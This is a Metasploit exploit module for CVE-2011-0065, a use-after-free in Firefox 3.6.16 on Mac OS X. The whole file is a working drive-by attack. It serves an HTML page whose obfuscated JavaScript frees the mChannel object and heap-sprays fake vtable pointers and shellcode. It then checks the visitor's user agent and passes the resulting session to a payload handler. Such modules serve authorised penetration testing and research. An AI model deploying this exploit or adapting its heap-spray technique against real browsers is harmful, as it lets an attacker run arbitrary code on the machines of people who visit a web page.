##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "3.6.16",
  #  :ua_maxver => "3.6.16",
  #  :os_name => OperatingSystems::Match::MAC_OSX,
  #  :javascript => true,
  #  :rank => NormalRanking,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',
      'Description'    => %q{
        This module exploits a use-after-free vulnerability in Mozilla
        Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
        OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
        becomes a dangling pointer and can be reused when setting the OBJECTs
        data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,
        10.6.8, 10.7.2 and 10.7.3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht',                       # discovery
          'Rh0',                              # windows metasploit module
          'argp <argp[at]census-labs.com>'    # mac os x version
        ],
      'References'     =>
        [
          ['CVE',    '2011-0065'],
          ['OSVDB',  '72085'],
          ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
          ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
        ],
      'Payload'        =>
        {
          'Space' => 1024,
        },
      'Platform'       => 'osx',
      'Targets'        =>
        [
          [
            # Firefox 3.6.16 on Lion runs as a 32-bit process
            'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',
            {
              'Arch' => ARCH_X86,
              'Fakevtable' => 0x2727,
              'Fakefunc' => 0x2727001c,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 10 2011'
    ))
  end

  def on_request_uri(cli, request)
    # random javascript variable names
    js_element_name      = rand_text_alpha(rand(10) + 5)
    js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
    js_sc_name           = rand_text_alpha(rand(10) + 5)
    js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
    js_chunk_name        = rand_text_alpha(rand(10) + 5)
    js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
    js_block_name        = rand_text_alpha(rand(10) + 5)
    js_array_name        = rand_text_alpha(rand(10) + 5)

    # check for non vulnerable targets
    agent = request.headers['User-Agent']

    if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/
      vprint_error("Target not supported: #{agent}")
      send_not_found(cli)
      return
    end

    # re-generate the payload
    return if ((payload = regenerate_payload(cli).encoded) == nil)

    payload_buf  = ''
    payload_buf << payload
    escaped_payload = Rex::Text.to_unescape(payload_buf)

    # setup the fake memory references
    my_target = targets[0] # in case we add more targets later
    fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
    fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

    exploit_js = <<-JS
    #{js_element_name} = document.getElementById("d");
    #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
    #{js_element_name}.onChannelRedirect(null, new Object, 0)

    #{js_obj_addr_name} = unescape("\x00#{fakevtable}");

    var #{js_sc_name} = unescape("#{escaped_payload}");

    var #{js_ret_addr_name} = unescape("#{fakefunc}");

    while(#{js_ret_addr_name}.length < 0x120)
    {
      #{js_ret_addr_name} += #{js_ret_addr_name};
    }

    var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
    #{js_chunk_name} += #{js_sc_name};
    #{js_chunk_name} += #{js_ret_addr_name};
    var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);

    while(#{js_final_chunk_name}.length < 0x800000)
    {
      #{js_final_chunk_name} += #{js_final_chunk_name};
    }

    var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);

    #{js_array_name} = new Array()

    for(n = 0; n < 0x220; n++)
    {
      #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
    }
    JS

    html = <<-HTML
    <html>
    <body>
      <object id="d"><object>
      <script type="text/javascript">
      #{exploit_js}
      </script>
    </body>
    </html>
    HTML

    # remove the extra tabs
    html = html.gsub(/^ {4}/, '')
    print_status("Sending #{self.name}")
    send_response_html(cli, html, { 'Content-Type' => 'text/html' })

    # handle the payload
    handler(cli)
  end
end
